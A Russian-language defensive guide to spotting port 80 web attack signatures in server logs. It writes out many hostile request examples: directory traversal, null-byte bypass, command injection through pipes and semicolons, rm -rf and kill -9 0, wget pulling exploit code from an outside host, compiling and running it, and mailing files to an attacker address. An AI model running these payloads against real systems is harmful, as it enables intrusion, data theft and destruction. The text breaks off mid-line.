I. Введение II. Общие Сигнатуры III. Продвинутые Сигнатуры IV. Переполнения V. Шестнадцатиричное Кодирование VI. Заключение I. Введение: Порт 80 - это стандартный порт для веб-сайтов, и он может иметь множество различных вопросов безопасности. Эти дыры могут позволить атакующему получить какой-либо административный доступ к веб-сайту, или даже к самому веб-серверу. В этом документе рассматриваются некоторые сигнатуры, используемые в этих атаках, и что нужно искать в ваших логах. II. Общие Сигнатуры: В этом разделе приводятся примеры общих сигнатур, используемых для компрометирования как веб-приложений, так и веб-серверов. Этот раздел представлен отнюдь не для того, чтобы показать вам все возможные сигнатуры, вместо этого вам будет предложено рассмотреть то, как выглядят большинство эксплоитов и атак. Сигнатуры выбраны из большинства известных и неизвестных дыр, которые атакующий может использовать против вас. В данном разделе также описывается то, для чего используется каждая сигнатура, или как она может использоваться в атаке. "." ".." и "..." Запросы Это наиболее общие сигнатуры атаки при злоупотреблении как веб-приложением, так и веб-сервером. Имеют обыкновение позволять атакующему или червю перемещаться по директориям в пределах вашего веб-сервера для получения доступа к разделам, которые могут быть не представлены для публичного просмотра. Большинство дыр CGI будут содержать некоторые ".." запросы. Ниже приведен пример. * http://host/cgi-bin/lame.cgi?file=../../../../etc/motd Это покажет атакующему запрошенный им файл "Сообщение Дня" вашего веб-сервера. Если атакующий имеет возможность перемещаться по директориям за пределами корневой директории вашего веб-сервера, то он возможно, сможет собрать достаточно информации для получения дальнейших привилегий. "%20" Запросы Это шестнадцатиричное значение символа пробела. При этом, обнаружение этих символов в ваших логах, отнюдь не означает, что ваша машина была атакована. Некоторые веб-приложения, запущенные вами, могут использовать эти символы в нормальных запросах, так что тщательнее проверяйте свои логи. С другой стороны, этот запрос редко используется для выполнения команд. Ниже приведен пример. * http://host/cgi-bin/lame.cgi?page=ls%20-al| (Эта строка представляет собой выполнение команды ls -al на системе Unix) Пример демонстрирует выполнение атакующим команды ls на Unix с некоторыми аргументами. Аргумент, приведенный выше, при запросе выдаст атакующему полный список файлов в директории. Это может позволить атакующему получить доступ к важным файлам вашей системы и может дать ему идею получения более высоких привилегий. "%00" Запросы Это шестнадцатиричное значение нулевого байта. Он может использоваться для одурачивания веб-сервера, думающего, что был запрошен другой тип файла. Ниже приведен пример. * http://host/cgi-bin/lame.cgi?page=index.html Представленный пример может быть корректным запросом на этой машине. Если атакующий увидит подобное поведение, то он несомненно изучит это приложение для поиска дыры в нем. * http://host/cgi-bin/lame.cgi?page=../../../../etc/motd Веб-приложение может отвергнуть этот запрос, поскольку оно проверяет чтобы в конце имени файла стояло расширение .htm, .html, .shtml или еще какое-нибудь. Чаще всего приложение сообщает вам, что это неправильный тип файла для этого приложения. Часто оно говорит атакующему что файл должен заканчиваться определенным расширением. Отсюда атакующий может собрать пути сервера, имена файлов и, возможно, собрать больше информации о вашем сервере. * http://host/cgi-bin/lame.cgi?page=../../../../etc/motd%00html Эта хитрость в составлении запроса заставляет приложение думать, что запрошенный вами файл относится к категории разрешенных встроенных типов файлов. Некоторые веб-приложения производят недостаточную проверку на правильность запрошенного файла, благодаря чему этот метод очень часто используется атакующими. "|" Запросы Это символ канала, который часто используется в Unix для того, чтобы выполнить многочисленные команды в одно и то же время при помощи всего одного запроса. Пример: #cat access_log| grep -F "/../" (Это показывает проверку логов на наличие запросов .. , которые часто используются нападающими и червями). Часто этот символ используется вашими же веб-приложениями, что может вызвать ложные сигналы тревоги в логах вашей IDS. Тщательное исследование вашего программного обеспечения и его поведения - хорошая идея для сокращения числа ложных тревог. Ниже несколько примеров. * http://host/cgi-bin/lame.cgi?page=../../../../bin/ls| Этот запрос выполняет команду ls без аргументов. Ниже представлена другая вариация этого типа запроса. * http://host/cgi-bin/lame.cgi?page=../../../../bin/ls%20-al%20/etc| Этот запрос выводит полный список файлов в директории "etc" на системе Unix. * http://host/cgi-bin/lame.cgi?page=cat%20access_log|grep%20-i%20"lame" Этот запрос выполняет команду "cat", а затем команду "grep" с аргументом -i. ";" Запросы Этот символ позволяет указание на выполнение нескольких команд в одной строке на системе Unix. Пример: #id;uname -a (Это выполнит команду "id" после чего будет выполнена команда "uname"). Очень часто веб-приложения будут использовать этот символ и, возможно, будут давать ложные сигналы тревоги в логах вашей IDS. Опять же тщательное исследование вашего программного обеспечения и его поведения - хорошая идея для сокращения числа ложных тревог. "<" и ">" Запросы Наличие этих символов должно постоянно проверяться в логах по множеству причин; первая - эти символы используются для добавления данных в файл. Пример 1: #echo "your hax0red h0 h0" >> /etc/motd (Здесь показано выполнение запроса на запись информации в этот файл). Атакующий может просто использовать запрос, подобный этому, для дефейса вашаего веб-сайта. Знаменитый RDS эксплоит, написанный rain.forest.puppy часто использовался атакующими для помещения информации на главные страницы веб-сайтов. Проверьте attrition.org и поищите хакнутые веб-сайты со страницами, состоящими из чистого текста, без форматирования, например. Пример 2: http://host/something.php=Hi%20mom%20I'm%20Bold! Этот запрос показывает пример перекрестной атаки сайта при помощи средств описания. Вы можете обратить внимание, что здесь использованы тэги html, использующие символы "<" и ">". Хотя этот тип атаки и не предоставит атакующему доступа к системе, он может использоваться для одурачивания людей, думающих, что определенная информация на веб-сайте верна. (Конечно, они должны будут пройти по ссылке, выбранной атакующим. Запрос может быть замаскирован путем кодирования символов в шестнадцатиричные значения, так чтобы это не было так очевидно). "!" Запросы Этот символ часто используется в SSI (Включения Сервера) атаках. Эти атаки могут позволить атакующему получить схожие результаты с перекрестной атакой сайта при помощи средств описания, если атакующий одурачит пользователя, щелкнувшего по ссылке. Ниже приведен пример.. http://host1/something.php= Это пример того, что может сделать атакующий. По большому счету это включение файла из host2, делающее возможным вставку его в host1. (Конечно, они должны будут пройти по ссылке, выбранной атакующим. Запрос может быть замаскирован путем кодирования символов в шестнадцатиричные значения, так чтобы это не было так очевидно). Это также может позволить ему выполнить команды в вашей системе с привилегиями пользователя, под которым запущен ваш веб-сервер. Ниже приведен пример. http://host/something.php= Это пример выполнения команды "id" на удаленной системе. Это покажет идентификатор пользователя, запустившего веб-сервер, который обычно равен "nobody" или "www". Это также может позволить включение скрытых файлов. Ниже приведен пример.. http://host/something.php= Это включение файла .htpasswd. Этот файл обычно не открыт на чтение для всех, а apache даже имеет встроенное правило, отвергающее запросы .ht. Тэг SSI позволяет обойти это, что может привести к серьезным нарушениям системы безопасности. " В слабо написанном приложении php возможно выполнение этой команды локально на удаленном хосте с привилегиями пользователя, запустившего веб-сервер. В добавок ко всему, атакующий может закодировать этот запрос в шестнадцатиричные значения. Произведите проверку на наличие чего-либо необычного и исследуйте все, что выглядит подозрительно. "`" Запросы Символ обратной метки часто используется в perl для выполнения команд. Этот символ обычно не используется в каком-либо правильном веб-приложении, так что если вы обнаруживаете его использование в своих логах, то, возможно, дело серьезно. Ниже приведен пример. http://host/something.cgi=`id` В слабо написанном веб-приложении на perl это должно выполнить команду "id". III. Продвинутые Сигнатуры: Этот раздел по большей части фокусируется на командах, выполняемых атакующим, вместе с файлами, которые могут быть запрошены, и как обнаружить, что вы уязвимы к удаленному выполнению команд. Хотя это и не полный список команд или файлов, которые может запросить атакующий, вы получите хорошее представление того, что может случиться, или что может быть предпринято против вашей системы. * Общие команды, которые могут быть выполнены атакующим или червем. "/bin/ls" Это - бинария команды ls. Очень часто запрашивается в полных путях для множества общих дыр веб-приложений. Если вы встречаете этот запрос где-либо в своих логах, то это дает неплохие шансы того, что ваша система может быть подвержена ошибкам, позволяющим удаленное выполнение команд. Это не всегда означает проблему и может быть просто ложной тревогой. Исследование вашего веб-приложения может дать вам ответы на ваши вопросы. Если возможно, протестируйте запрос, обнаруженный в логах, и проверьте вывод на возможное выполнение. Пример: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ls%20-al| Пример: http://host/cgi-bin/bad.cgi?doh=ls%20-al; "cmd.exe" Это командный интерпретатор windows. Если атакующий получит доступ на запуск этого скрипта, то он может сделать очень многое на windows машине, в зависимости от прав доступа на сервере. Большинство интернет червей связываются с портом 80, используя cmd.exe для продвижения инфицирования самими собой других удаленных систем. http://host/scripts/something.asp=../../WINNT/system32/cmd.exe?dir+e:\ "/bin/id" Это - бинария команды id. Очень часто запрашивается в полных путях для множества общих дыр веб-приложений. Если вы встречаете этот запрос где-либо в своих логах, то это дает неплохие шансы того, что ваша система может быть подвержена ошибкам, позволяющим удаленное выполнение команд. Это не всегда означает проблему и может быть просто ложной тревогой. Исследование вашего веб-приложения может дать вам ответы на ваши вопросы. Если возможно, протестируйте запрос, обнаруженный в логах, и проверьте вывод на возможное выполнение. Пример: http://host/cgi-bin/bad.cgi?doh=../../../../bin/id| Пример: http://host/cgi-bin/bad.cgi?doh=id; "/bin/rm" Это - бинария команды rm. Очень часто запрашивается в полных путях для множества общих дыр веб-приложений. Если вы встречаете этот запрос где-либо в своих логах, то это дает неплохие шансы того, что ваша система может быть подвержена ошибкам, позволяющим удаленное выполнение команд. Это не всегда означает проблему и может быть просто ложной тревогой. Эта команда, с другой стороны, позволяет удаление файлов и является очень опасной при неправильном использовании, или при использовании атакующим. Если возможно, протестируйте запрос, обнаруженный в логах, и проверьте вывод на возможное выполнение. Если запрошен важный файл, то вам не стоит тестировать команду на нем. Если это удаление файла с именем stupid.txt, а его не обнаруживается в пределах веб-сайта, с которого он был запрошен, создайте файл и протестируйте его. Пример: http://host/cgi-bin/bad.cgi?doh=../../../../bin/rm%20-rf%20*| Пример: http://host/cgi-bin/bad.cgi?doh=rm%20-rf%20*; Команды "wget и tftp" Эти команды часто используются атакующими и червями для скачивания дополнительных файлов, которые могут использоваться для получения дальнейших привилегий в системе. wget - это команда Unix, которая может использоваться для скачивания бэкдора. tftp - это команда Unix и NT, которая используется для скачивания файлов. Некоторые IIS черви используют эту tftp команду для копирования самих себя на подверженный ошибке хост для продолжения распространения. Пример: http://host/cgi-bin/bad.cgi?doh=../../../../path/to-wget/wget%20http://host2/Phantasmp.c| Пример: http://host/cgi-bin/bad.cgi?doh=wget%20http://www.hwa-security.net/Phantasmp.c; Команда "cat" Эта команда часто используется для просмотра содержимого файлов. Она может быть использована для чтения важной информации, такой как конфигурационные файлы, файлы паролей, файлы кредитных карт, и всего того, что еще можно прочитать. Пример: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cat%20/etc/motd| Пример: http://host/cgi-bin/bad.cgi?doh=cat%20/etc/motd; Команда "echo" Эта команда часто используется для добавления данных к файлам, таким как, например, index.html. Пример: http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt| Пример: http://host/cgi-bin/bad.cgi?doh=echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt; Команда "ps" Эта команда показывает список запущенных процессов. Она может сказать атакующему, запущено ли на удаленном хосте какое-либо программное обеспечение, связанное с безопасностью, а также даст ему некоторое представление о других дырах в безопасности, которые может иметь этот хост. Пример: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ps%20-aux| Пример: http://host/cgi-bin/bad.cgi?doh=ps%20-aux; Команды "kill и killall" Эти команды используются для останова процессов на системе Unix. Атакующий может воспользоваться ими для останова системного сервиса или программы. Атакующий также может использовать эту команду для заметания своих следов, если эксплоит, используемый им, порождает множество дочерних процессов или работает ненормально. Пример: http://host/cgi-bin/bad.cgi?doh=../bin/kill%20-9%200| Пример: http://host/cgi-bin/bad.cgi?doh=kill%20-9%200; Команда "uname" Эта команда часто используется нападающим для того, чтобы узнать имя хоста удаленной системы. Часто веб-сайт хостится у провайдера и эта команда может дать представление о том, к какому провайдеру он может иметь доступ. Обычно запрашивается uname -a и она может появиться в логах как "uname%20-a". Пример: http://host/cgi-bin/bad.cgi?doh=../../../../bin/uname%20-a| Пример: http://host/cgi-bin/bad.cgi?doh=uname%20-a; "cc, gcc, perl, python, етс..." Команды Компиляторов/Интерпретаторов Команды "cc" и "gcc" позволяют компилировать программы. Атакующий может использовать wget или tftp для скачивания файлов, а затем использовать эти компиляторы для компиляции эксплоита. На данном этапе возможно многое, включая локальное использование уязвимостей системы. Пример: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc%20Phantasmp.c| Пример: http://host/cgi-bin/bad.cgi?doh=gcc%20Phantasmp.c;./a.out%20-p%2031337; Если вы видите в логах запрос интерпретаторов "perl" или "python", то вполне возможно, что атакующий скачал удаленный perl или python скрипт и пытается воспользоваться локальными уязвимостями вашей системы. Команда "mail" Эта команда может использоваться атакующим для отправки по почте файлов на почтовый адрес атакующего. Это может также использоваться для рассылки спама, и спаммера, использующего этот способ будет очень непросто обнаружить. Пример: http://host/cgi-bin/bad.cgi?doh=../../../../bin/mail%20attacker@hostname%20<<%20/etc/motd| Пример: http://host/cgi-bin/bad.cgi?doh=mail%20steele@jersey.whitehouse.gov%20<